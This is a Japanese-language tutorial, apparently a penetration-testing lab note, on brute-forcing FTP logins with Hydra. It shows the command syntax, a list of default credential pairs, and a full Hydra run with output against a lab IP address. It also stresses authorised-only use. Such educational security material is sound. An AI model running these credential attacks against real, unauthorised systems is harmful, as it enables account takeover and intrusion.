Hydra を使った FTP ブルートフォース攻撃入門

1. FTPとは？

FTP（File Transfer Protocol）は、ファイルの送受信に使われる古典的なプロトコルです。
多くのシステムでは ユーザー名＋パスワード認証 を使うため、設定が甘いと 弱いパスワード や デフォルト認証情報 が突破口になります。

ペネトレーションテストでは、次の順番で確認するのが定石です：

1. まず デフォルト認証情報 を試す
2. ダメなら 辞書攻撃（ブルートフォース） を試す

---

2. Hydra とは？

Hydra は、以下のようなサービスに対してログイン攻撃を自動化できる有名ツールです：

• FTP
• SSH
• HTTP(S)
• SMTP, POP3, RDP など多数

今回は FTP サーバー に対して使います。

---

3. FTP に対する基本構文

Hydra のヘルプを見ると、FTP 攻撃の基本形はこうなります：

hydra -l ftp -P passlist.txt ftp://10.10.x.x

オプションの意味

• -l ftp
  → 単一のユーザー名を指定（ここでは ftp）
  ※ 複数ユーザーなら -L userlist.txt を使う
• -P passlist.txt
  → パスワードの辞書ファイルを指定
  ※ 単一パスワードなら -p password も可
• ftp://10.10.x.x
  → 対象のプロトコルとIPアドレス（またはFQDN）

---

4. まずは「デフォルト認証」を疑え

ブルートフォースの前に、必ずこれを試す価値があります：

• admin:admin
• ftp:ftp
• root:root
• admin:password
• test:test

理由はシンプルで、設定変更されていないサーバーは驚くほど多いからです。
これが通ったら、ブルートフォースするまでもなく即ログイン成功です。
（セキュリティ的には、ドアの鍵が開けっぱなし状態…）

---

5. 実際の攻撃フロー（演習VM想定）

1. まず FTP が開いているか確認（例：nmap）
2. デフォルト認証を手動で試す
3. ダメなら Hydra で辞書攻撃

例：

root@ip-10-67-64-106:~# hydra -l ftp -P /usr/share/wordlists/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.67.188.61 
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-05 10:02:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries (l:1/p:66), ~5 tries per task
[DATA] attacking ftp://10.67.188.61:21/
[21][ftp] host: 10.67.188.61   login: ftp   password: root:rootpasswd
[21][ftp] host: 10.67.188.61   login: ftp   password: anonymous:anonymous
[21][ftp] host: 10.67.188.61   login: ftp   password: root:12hrs37
[21][ftp] host: 10.67.188.61   login: ftp   password: ftp:b1uRR3
[21][ftp] host: 10.67.188.61   login: ftp   password: admin:admin
[21][ftp] host: 10.67.188.61   login: ftp   password: localadmin:localadmin
[21][ftp] host: 10.67.188.61   login: ftp   password: admin:1234
[21][ftp] host: 10.67.188.61   login: ftp   password: apc:apc
[21][ftp] host: 10.67.188.61   login: ftp   password: admin:nas
[21][ftp] host: 10.67.188.61   login: ftp   password: Root:wago
[21][ftp] host: 10.67.188.61   login: ftp   password: Admin:wago
[21][ftp] host: 10.67.188.61   login: ftp   password: User:user
[21][ftp] host: 10.67.188.61   login: ftp   password: Guest:guest
[21][ftp] host: 10.67.188.61   login: ftp   password: ftp:ftp
[21][ftp] host: 10.67.188.61   login: ftp   password: a:avery
[21][ftp] host: 10.67.188.61   login: ftp   password: admin:password
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-05 10:02:14
root@ip-10-67-64-106:~# 

• -vV をつけると試行状況が詳細表示されて、見ててちょっと楽しいです（ログが流れる滝行スタイル）

---

6. ブルートフォースは「最後の手段」

ここ、試験でも実務でも超大事ポイント：

• 本番環境で無闇にやると
  → アカウントロック、アラート発報、SOCから電話コース📞
• だから
  → まず設定ミス・デフォルト認証・情報漏えいを疑う
  → それでもダメなら、許可された範囲で辞書攻撃

「力技は最後」、これがプロの流儀です。

---

まとめ

• Hydra は FTP の認証テストに超便利

• 基本構文：

  hydra -l ユーザー -P パスワードリスト ftp://ターゲット
  

• いきなりブルートフォースせず、まずは デフォルト認証 を試す

• 実行は 必ず許可された演習・検証環境のみ